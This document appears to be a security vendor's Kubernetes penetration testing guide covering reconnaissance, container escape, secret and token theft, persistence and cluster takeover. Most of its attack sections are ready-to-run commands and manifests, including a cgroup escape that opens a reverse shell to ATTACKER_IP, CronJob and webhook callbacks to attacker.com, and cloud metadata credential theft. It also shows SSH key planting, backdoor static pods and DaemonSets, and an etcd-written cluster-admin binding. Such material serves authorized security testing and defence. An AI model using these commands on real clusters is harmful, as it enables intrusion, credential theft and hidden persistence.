Introduction to Kubernetes Penetration Testing
Kubernetes has become the dominant container orchestration platform, running mission-critical workloads across enterprises worldwide. However, its complexity creates a vast attack surface that requires specialized penetration testing skills. This guide provides comprehensive coverage of Kubernetes security assessment methodologies, attack techniques, and tools.
Kubernetes Attack Surface Overview
Understanding the attack surface is critical for effective penetration testing. Kubernetes exposes multiple components that can be targeted.
Control Plane Components
1. API Server (kube-apiserver)
2. etcd
3. Controller Manager
4. Scheduler
Node Components
1. Kubelet
2. Kube-proxy
3. Container Runtime (containerd, CRI-O, Docker)
Networking Components
1. CNI (Container Network Interface)
2. Ingress Controllers
3. Service Mesh (Istio, Linkerd, Consul Connect)
Storage Components
CSI (Container Storage Interface)
Reconnaissance Techniques
External Enumeration
# Find exposed Kubernetes API servers
shodan search "kubernetes" port:6443
shodan search "kube-apiserver"
# Find exposed etcd instances
shodan search port:2379 product:etcd
# Find exposed Kubernetes dashboards
shodan search "kubernetes-dashboard"
shodan search "title:Kubernetes Dashboard"
# Find exposed kubelet APIs
shodan search port:10250 "kubelet"
shodan search port:10255
# Find exposed metrics servers
shodan search "metrics-server" port:443# Kubernetes API servers
censys search 'services.kubernetes.api_server'
# etcd databases
censys search 'services.port=2379'
# Exposed dashboards
censys search 'services.http.response.html_title: "Kubernetes Dashboard"'# Subdomain enumeration for k8s infrastructure
subfinder -d target.com | grep -E "k8s|kube|kubernetes|cluster|api|etcd"
# DNS brute forcing
gobuster dns -d target.com -w kubernetes-wordlist.txt
# Common Kubernetes subdomains to check
# api.k8s.target.com
# kubernetes.target.com
# k8s.target.com
# dashboard.k8s.target.com
# etcd.target.com
# registry.target.com# Comprehensive Kubernetes port scan
nmap -sV -sC -p 2379,2380,6443,8001,8080,8443,9090,10250,10255,10256,30000-32767 target.com
# Service detection
nmap -sV --script=kubernetes-info target.com -p 6443,10250
# UDP scan for relevant services
nmap -sU -p 8285,8472 target.comInternal Enumeration with kubectl
# Get cluster info
kubectl cluster-info
kubectl cluster-info dump
# API server version and features
kubectl version --short
kubectl api-versions
kubectl api-resources
# Get all namespaces
kubectl get namespaces
# Get all resources across namespaces
kubectl get all --all-namespaces
kubectl get all -A -o wide# Current user permissions
kubectl auth can-i --list
kubectl auth can-i --list --as=system:anonymous
# Check specific permissions
kubectl auth can-i create pods
kubectl auth can-i get secrets
kubectl auth can-i '*' '*'
# List all cluster roles
kubectl get clusterroles
kubectl get clusterrolebindings
# List namespace roles
kubectl get roles --all-namespaces
kubectl get rolebindings --all-namespaces
# Describe specific roles
kubectl describe clusterrole cluster-admin
kubectl describe clusterrolebinding cluster-admin
# Find overprivileged service accounts
kubectl get clusterrolebindings -o json | jq '.items[] | select(.roleRef.name=="cluster-admin") | .subjects'# List all service accounts
kubectl get serviceaccounts --all-namespaces
# Get service account details
kubectl get serviceaccount default -o yaml
# Find pods with mounted tokens
kubectl get pods --all-namespaces -o json | jq '.items[] | select(.spec.automountServiceAccountToken != false) | {name: .metadata.name, namespace: .metadata.namespace}'
# Check service account secrets
kubectl get secrets --all-namespaces | grep service-account-token# List all secrets
kubectl get secrets --all-namespaces
# Get secret contents (base64 decoded)
kubectl get secret <secret-name> -o jsonpath='{.data}' | base64 -d
# Find Docker registry secrets
kubectl get secrets --all-namespaces -o json | jq '.items[] | select(.type=="kubernetes.io/dockerconfigjson")'
# Find TLS secrets
kubectl get secrets --all-namespaces -o json | jq '.items[] | select(.type=="kubernetes.io/tls")'Service Account Token Discovery
# Default token location
cat /var/run/secrets/kubernetes.io/serviceaccount/token
# Namespace
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
# CA certificate
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
# Environment variables
env | grep -i kube# Set token for kubectl
export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
export NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
# API server from environment
export APISERVER=https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT
# Make API calls
curl -s -k -H "Authorization: Bearer $TOKEN" $APISERVER/api/v1/namespaces
# Configure kubectl with token
kubectl --token=$TOKEN --server=$APISERVER --insecure-skip-tls-verify get podsCloud Metadata Service Access
# IMDSv1 (deprecated but often available)
curl http://169.254.169.254/latest/meta-data/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
# IMDSv2 (requires token)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/
# Get temporary credentials
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ | xargs -I {} curl http://169.254.169.254/latest/meta-data/iam/security-credentials/{}# Get instance metadata
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/
# Get service account token
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
# Get project information
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/project/project-id
# List available scopes
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scopes# Get instance metadata
curl -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"
# Get managed identity token
curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
# Get subscription info
curl -H "Metadata: true" "http://169.254.169.254/metadata/instance/compute/subscriptionId?api-version=2021-02-01&format=text"DNS Enumeration Within Cluster
# Get DNS service IP
cat /etc/resolv.conf
# Query Kubernetes DNS
nslookup kubernetes.default.svc.cluster.local
dig kubernetes.default.svc.cluster.local
# Enumerate services via DNS
dig srv _http._tcp.kubernetes.default.svc.cluster.local
# Find services in namespace
dig any *.default.svc.cluster.local
dig any *.kube-system.svc.cluster.local
# Brute force service names
for svc in api dashboard etcd metrics prometheus grafana; do
dig $svc.default.svc.cluster.local +short
done#!/bin/bash
# Enumerate all services via DNS
NAMESPACES="default kube-system kube-public monitoring logging"
SERVICES="kubernetes dashboard api etcd prometheus grafana elasticsearch kibana"
for ns in $NAMESPACES; do
echo "=== Namespace: $ns ==="
for svc in $SERVICES; do
result=$(dig +short $svc.$ns.svc.cluster.local 2>/dev/null)
if [ -n "$result" ]; then
echo "Found: $svc.$ns.svc.cluster.local -> $result"
fi
done
doneCommon Vulnerabilities and Attacks
1. Exposed Kubernetes Dashboard Without Authentication
# Check for exposed dashboards
curl -k https://target:8443/
curl -k https://target:443/api/v1/namespaces/kubernetes-dashboard/services/https:kubernetes-dashboard:/proxy/
# Shodan/Censys results
# Look for login bypass or skip button# If dashboard is accessible without auth
# Navigate to Workloads > Pods
# Create new deployment with privileged container
# Dashboard YAML for malicious pod
apiVersion: v1
kind: Pod
metadata:
name: pwned
namespace: default
spec:
containers:
- name: pwned
image: alpine
command: ["/bin/sh", "-c", "sleep infinity"]
securityContext:
privileged: true
hostNetwork: true
hostPID: true
hostIPC: true2. Anonymous Kubelet Access
# Check kubelet API (port 10250)
curl -sk https://target:10250/pods
curl -sk https://target:10250/runningpods
curl -sk https://target:10250/metrics
# Read-only port (often enabled by default)
curl -s http://target:10255/pods
curl -s http://target:10255/metrics
curl -s http://target:10255/spec# Using kubeletctl tool
kubeletctl pods -s target
kubeletctl runningpods -s target
# Execute commands in containers
kubeletctl exec "/bin/bash" -p <pod-name> -c <container-name> -s target
# Scan for vulnerable kubelets
kubeletctl scan --cidr 10.0.0.0/24
# Get container logs
kubeletctl logs -p <pod-name> -c <container-name> -s target3. Privileged Container Escape
# Find privileged pods
kubectl get pods --all-namespaces -o json | jq '.items[] | select(.spec.containers[].securityContext.privileged == true) | {name: .metadata.name, namespace: .metadata.namespace}'
# Check current container privileges
cat /proc/1/status | grep -i cap
capsh --print# If running as privileged container
# Method 1: Mount host filesystem
mkdir /mnt/host
mount /dev/sda1 /mnt/host
chroot /mnt/host /bin/bash
# Method 2: Access host via /proc
# Find host PID 1
cat /proc/1/cgroup
# If docker/containerd visible, we're in container
# Access host namespace
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash
# Method 3: Load kernel module (if CAP_SYS_MODULE)
# Create malicious kernel module for reverse shell# Check if escape is possible
cat /proc/self/cgroup
# Create cgroup and exploit release_agent
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"4. hostPath Mount Abuse
# Find pods with hostPath volumes
kubectl get pods --all-namespaces -o json | jq '.items[] | select(.spec.volumes[]?.hostPath != null) | {name: .metadata.name, namespace: .metadata.namespace, hostPaths: [.spec.volumes[] | select(.hostPath != null) | .hostPath.path]}'# Malicious pod with host filesystem access
apiVersion: v1
kind: Pod
metadata:
name: hostpath-exploit
spec:
containers:
- name: exploit
image: alpine
command: ["/bin/sh", "-c", "sleep infinity"]
volumeMounts:
- name: host-root
mountPath: /host
volumes:
- name: host-root
hostPath:
path: /
type: Directory# Inside the container with hostPath mounted
# Read sensitive files
cat /host/etc/shadow
cat /host/root/.ssh/id_rsa
cat /host/etc/kubernetes/pki/apiserver.key
# Write SSH keys for persistence
echo "attacker_pub_key" >> /host/root/.ssh/authorized_keys
# Modify kubelet configuration
cat /host/var/lib/kubelet/config.yaml
# Access container runtime socket
ls -la /host/var/run/docker.sock
ls -la /host/run/containerd/containerd.sock5. Service Account Token Theft
# From inside a pod
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
echo $TOKEN | cut -d'.' -f2 | base64 -d 2>/dev/null | jq
# From etcd directly (if accessible)
etcdctl get /registry/secrets/default/default-token --print-value-only
# Via kubelet API
curl -sk https://kubelet:10250/pods | jq '.items[].spec.containers[].volumeMounts[] | select(.name | contains("token"))'# Check token permissions
kubectl --token=$TOKEN auth can-i --list
# Attempt privilege operations
kubectl --token=$TOKEN get secrets --all-namespaces
kubectl --token=$TOKEN create clusterrolebinding pwned --clusterrole=cluster-admin --serviceaccount=default:default
# Create new privileged workload
kubectl --token=$TOKEN apply -f malicious-pod.yaml6. etcd Direct Access Without Authentication
# Test unauthenticated access
etcdctl --endpoints=http://target:2379 endpoint health
etcdctl --endpoints=http://target:2379 get / --prefix --keys-only
# With certificate (if obtained)
etcdctl --endpoints=https://target:2379 \
--cacert=/path/to/ca.crt \
--cert=/path/to/client.crt \
--key=/path/to/client.key \
get / --prefix --keys-only# List all secrets
etcdctl get /registry/secrets --prefix --keys-only
# Extract specific secret
etcdctl get /registry/secrets/default/my-secret --print-value-only
# Dump all secrets
etcdctl get /registry/secrets --prefix --print-value-only
# Extract service account tokens
etcdctl get /registry/secrets --prefix | grep -E "token|kubernetes.io/service-account-token" -A 57. CVE-2018-1002105: API Server Privilege Escalation
This critical vulnerability allows any authenticated user to escalate to cluster-admin through the API server's proxy functionality.
# The vulnerability exists in websocket upgrade requests
# through the API server proxy
# Step 1: Establish connection to aggregated API server
# Step 2: Send malformed websocket upgrade
# Step 3: Connection error leaves open TCP connection
# Step 4: Subsequent requests bypass authentication
# Detection - check version
kubectl version --short
# Mitigation: Upgrade to patched version8. CVE-2020-8554: Man-in-the-Middle via LoadBalancer/ExternalIP
Allows attackers with pod creation rights to intercept traffic via malicious ExternalIP or LoadBalancer services.
# Malicious service to intercept traffic
apiVersion: v1
kind: Service
metadata:
name: mitm-service
spec:
type: LoadBalancer
externalIPs:
- 10.0.0.1 # Target IP to intercept
ports:
- port: 443
targetPort: 8443
selector:
app: attacker-pod# Find services with ExternalIPs
kubectl get services --all-namespaces -o json | jq '.items[] | select(.spec.externalIPs != null) | {name: .metadata.name, namespace: .metadata.namespace, externalIPs: .spec.externalIPs}'9. Container Breakout Techniques
# Check capabilities
capsh --print
# If CAP_SYS_ADMIN present, mount host cgroups
mount -t cgroup -o memory cgroup /sys/fs/cgroup/memory
# Abuse user namespaces
unshare -Urm# If /var/run/docker.sock is mounted
docker -H unix:///var/run/docker.sock ps
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host alpine nsenter -t 1 -m -u -n -i sh# If containerd socket is accessible
ctr -a /run/containerd/containerd.sock containers list
ctr -a /run/containerd/containerd.sock tasks exec --exec-id pwned <container-id> /bin/sh# Affects runc < 1.1.12
# Working directory file descriptor leak
# Allows container escape via /proc/self/fd accessPost-Exploitation Techniques
Lateral Movement
# Scan for accessible services
nmap -sT -p 1-65535 <service-cluster-ip>
# Access services via DNS
curl http://service-name.namespace.svc.cluster.local
# Use kubectl exec to move between pods
kubectl exec -it other-pod -- /bin/bash# If SSH keys obtained from one node
ssh -i /host/root/.ssh/id_rsa root@other-node
# Via kubelet if credentials obtained
kubeletctl exec "/bin/bash" -p pod-name -c container -s other-node:10250# Find highly privileged service accounts
kubectl get clusterrolebindings -o json | jq '.items[] | select(.roleRef.name | contains("admin")) | {name: .metadata.name, subjects: .subjects}'
# Steal token from another namespace pod
kubectl exec -n kube-system <privileged-pod> -- cat /var/run/secrets/kubernetes.io/serviceaccount/tokenSecret Extraction
# List all secrets
kubectl get secrets --all-namespaces
# Extract and decode secret
kubectl get secret db-credentials -o jsonpath='{.data.password}' | base64 -d
# Dump all secrets
kubectl get secrets --all-namespaces -o json | jq '.items[] | {namespace: .metadata.namespace, name: .metadata.name, data: .data}'# Check pods for secrets in env vars
kubectl get pods -o json | jq '.items[].spec.containers[].env[]? | select(.valueFrom.secretKeyRef != null)'
# Extract from running container
kubectl exec <pod> -- env | grep -iE "pass|secret|key|token|api"# List configmaps
kubectl get configmaps --all-namespaces
# Look for sensitive content
kubectl get configmaps --all-namespaces -o json | jq '.items[] | select(.data != null) | {namespace: .metadata.namespace, name: .metadata.name, keys: (.data | keys)}'Persistence Mechanisms
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: system-monitor
namespace: kube-system
spec:
selector:
matchLabels:
name: system-monitor
template:
metadata:
labels:
name: system-monitor
spec:
hostNetwork: true
hostPID: true
containers:
- name: monitor
image: alpine
command: ["/bin/sh", "-c"]
args:
- |
while true; do
sleep 3600
# Reverse shell or C2 callback
done
securityContext:
privileged: true
volumeMounts:
- name: host
mountPath: /host
volumes:
- name: host
hostPath:
path: /apiVersion: batch/v1
kind: CronJob
metadata:
name: backup-job
namespace: kube-system
spec:
schedule: "*/5 * * * *"
jobTemplate:
spec:
template:
spec:
containers:
- name: backup
image: alpine
command: ["/bin/sh", "-c"]
args:
- |
# Callback to C2
curl http://attacker.com/beacon?host=$(hostname)
restartPolicy: OnFailureapiVersion: admissionregistration.k8s.io/v1
kind: MutatingWebhookConfiguration
metadata:
name: pod-modifier
webhooks:
- name: pod-modifier.attacker.com
clientConfig:
url: "https://attacker.com/mutate"
rules:
- operations: ["CREATE"]
apiGroups: [""]
apiVersions: ["v1"]
resources: ["pods"]
admissionReviewVersions: ["v1"]
sideEffects: None# If you have node access, create static pod
# Location varies: /etc/kubernetes/manifests/ or /var/lib/kubelet/staticpods/
cat > /etc/kubernetes/manifests/backdoor.yaml << 'EOF'
apiVersion: v1
kind: Pod
metadata:
name: static-backdoor
spec:
hostNetwork: true
containers:
- name: backdoor
image: alpine
command: ["/bin/sh", "-c", "sleep infinity"]
securityContext:
privileged: true
EOFCluster Takeover Scenarios
# If can create rolebindings
kubectl create clusterrolebinding pwned --clusterrole=cluster-admin --serviceaccount=default:compromised-sa
# If can modify existing bindings
kubectl patch clusterrolebinding <existing-binding> --type='json' -p='[{"op": "add", "path": "/subjects/-", "value": {"kind": "ServiceAccount", "name": "attacker-sa", "namespace": "default"}}]'# From compromised node, access kubelet credentials
cat /var/lib/kubelet/kubeconfig
cat /etc/kubernetes/kubelet.conf
# Use node credentials
kubectl --kubeconfig=/var/lib/kubelet/kubeconfig get nodes
# Bootstrap token (if available)
cat /etc/kubernetes/bootstrap-kubelet.conf# Direct RBAC manipulation via etcd
# Create cluster-admin binding
etcdctl put /registry/clusterrolebindings/pwned '{"apiVersion":"rbac.authorization.k8s.io/v1","kind":"ClusterRoleBinding","metadata":{"name":"pwned"},"roleRef":{"apiGroup":"rbac.authorization.k8s.io","kind":"ClusterRole","name":"cluster-admin"},"subjects":[{"kind":"ServiceAccount","name":"default","namespace":"default"}]}'Essential Pentesting Tools
1. kube-hunter
# Installation
pip install kube-hunter
# Remote scan
kube-hunter --remote target.com
# Internal scan (from within cluster)
kube-hunter --pod --quick
# Active hunting (exploitation)
kube-hunter --remote target.com --active
# Scan network range
kube-hunter --cidr 192.168.0.0/242. Peirates
# Run Peirates
./peirates
# Common Peirates commands
# [1] Get current service account info
# [2] Switch service account
# [3] List secrets
# [4] Get secret
# [5] Create privileged pod
# [6] Execute into pod
# [7] AWS metadata access
# [8] GCP metadata access
# [9] TCP port scan3. kubeletctl
# Installation
go install github.com/cyberark/kubeletctl@latest
# List pods
kubeletctl pods -s target:10250
# Execute commands
kubeletctl exec "id" -p pod-name -c container-name -s target:10250
# Get container logs
kubeletctl logs -p pod-name -c container-name -s target:10250
# Scan for vulnerable kubelets
kubeletctl scan --cidr 10.0.0.0/244. kubesploit
# Modules available:
# - Service account token stealing
# - Container escape
# - Lateral movement
# - Persistence
# - Data exfiltration
# Start agent in compromised pod
./agent -server attacker.com:4435. kdigger (Kubernetes Digger)
# Run all discovery checks
kdigger all
# Specific checks
kdigger capabilities
kdigger token
kdigger environment
kdigger mount
kdigger usernamespace6. kubectl Plugins
# Install
kubectl krew install rbac-lookup
# Usage
kubectl rbac-lookup --kind user
kubectl rbac-lookup --kind serviceaccount
kubectl rbac-lookup default -k serviceaccount -n default# Install
kubectl krew install access-matrix
# Show access matrix
kubectl access-matrix --sa default -n default
kubectl access-matrix --as [email protected]# Install
kubectl krew install who-can
# Check who can perform actions
kubectl who-can create pods
kubectl who-can get secrets --all-namespaces
kubectl who-can '*' '*'7. Trivy
# Scan cluster for misconfigurations
trivy k8s cluster --report summary
# Scan specific namespace
trivy k8s -n kube-system --report all
# Scan running containers for vulnerabilities
trivy k8s cluster --scanners vuln
# Generate compliance report
trivy k8s cluster --compliance k8s-nsa
trivy k8s cluster --compliance k8s-cis8. Falco
# Detection rule example
- rule: Shell in container
desc: Detect shell execution in container
condition: >
spawned_process and container and
shell_procs and proc.tty != 0
output: >
Shell spawned (user=%user.name container=%container.name
shell=%proc.name cmdline=%proc.cmdline)
priority: WARNING
- rule: Read sensitive files
desc: Detect reading of sensitive files
condition: >
open_read and container and
(fd.name startswith /etc/shadow or
fd.name startswith /etc/passwd or
fd.name contains kubernetes.io/serviceaccount/token)
output: >
Sensitive file read (user=%user.name file=%fd.name)
priority: WARNINGMITRE ATT&CK for Containers Mapping
Initial Access (TA0001)
| Technique | Kubernetes Context |
|-----------|-------------------|
| Exploit Public-Facing Application | Vulnerable workloads, exposed dashboards |
| External Remote Services | Exposed API server, kubelet API |
| Valid Accounts | Compromised kubeconfig, stolen service account tokens |
Execution (TA0002)
| Technique | Kubernetes Context |
|-----------|-------------------|
| Container Administration Command | kubectl exec, kubelet API |
| Deploy Container | Malicious pods, DaemonSets |
| User Execution | Social engineering for kubeconfig |
Persistence (TA0003)
| Technique | Kubernetes Context |
|-----------|-------------------|
| Account Manipulation | Service account token creation |
| Create or Modify System Process | Static pods, DaemonSets |
| Implant Internal Image | Backdoored images in registry |
| Scheduled Task/Job | CronJobs, malicious Jobs |
Privilege Escalation (TA0004)
| Technique | Kubernetes Context |
|-----------|-------------------|
| Escape to Host | Container breakout via privileged mode |
| Exploitation for Privilege Escalation | CVE exploitation (e.g., CVE-2018-1002105) |
| Valid Accounts | Abuse of overprivileged service accounts |
Defense Evasion (TA0005)
| Technique | Kubernetes Context |
|-----------|-------------------|
| Impair Defenses | Disabling admission controllers |
| Indicator Removal | Deleting audit logs, events |
| Masquerading | Pod name similarity to system pods |
Credential Access (TA0006)
| Technique | Kubernetes Context |
|-----------|-------------------|
| Unsecured Credentials | Secrets in env vars, ConfigMaps |
| Steal Application Access Token | Service account token theft |
| Brute Force | API server credential attacks |
Discovery (TA0007)
| Technique | Kubernetes Context |
|-----------|-------------------|
| Container and Resource Discovery | kubectl get commands |
| Network Service Discovery | Service enumeration, DNS discovery |
| Permission Groups Discovery | RBAC enumeration |
Lateral Movement (TA0008)
| Technique | Kubernetes Context |
|-----------|-------------------|
| Exploitation of Remote Services | Kubelet API, container runtime sockets |
| Internal Spearphishing | Targeting admin workstations |
| Use Alternate Authentication Material | Service account token reuse |
Collection (TA0009)
| Technique | Kubernetes Context |
|-----------|-------------------|
| Data from Local System | Secrets, ConfigMaps extraction |
| Data from Information Repositories | etcd data access |
Impact (TA0040)
| Technique | Kubernetes Context |
|-----------|-------------------|
| Data Destruction | Deleting persistent volumes, etcd |
| Resource Hijacking | Cryptomining deployments |
| Endpoint Denial of Service | Pod resource exhaustion |
Penetration Testing Methodology
Phase 1: Reconnaissance
Phase 2: Initial Access
Phase 3: Exploitation
Phase 4: Post-Exploitation
Phase 5: Reporting
Conclusion
Kubernetes penetration testing requires deep understanding of container orchestration architecture, cloud-native security concepts, and specialized tools. The attack surface is vast—from exposed API servers to container runtime vulnerabilities—and misconfigurations are prevalent.
Asfaleia-Tech offers specialized Kubernetes security assessments and penetration testing services. Contact us to secure your container infrastructure.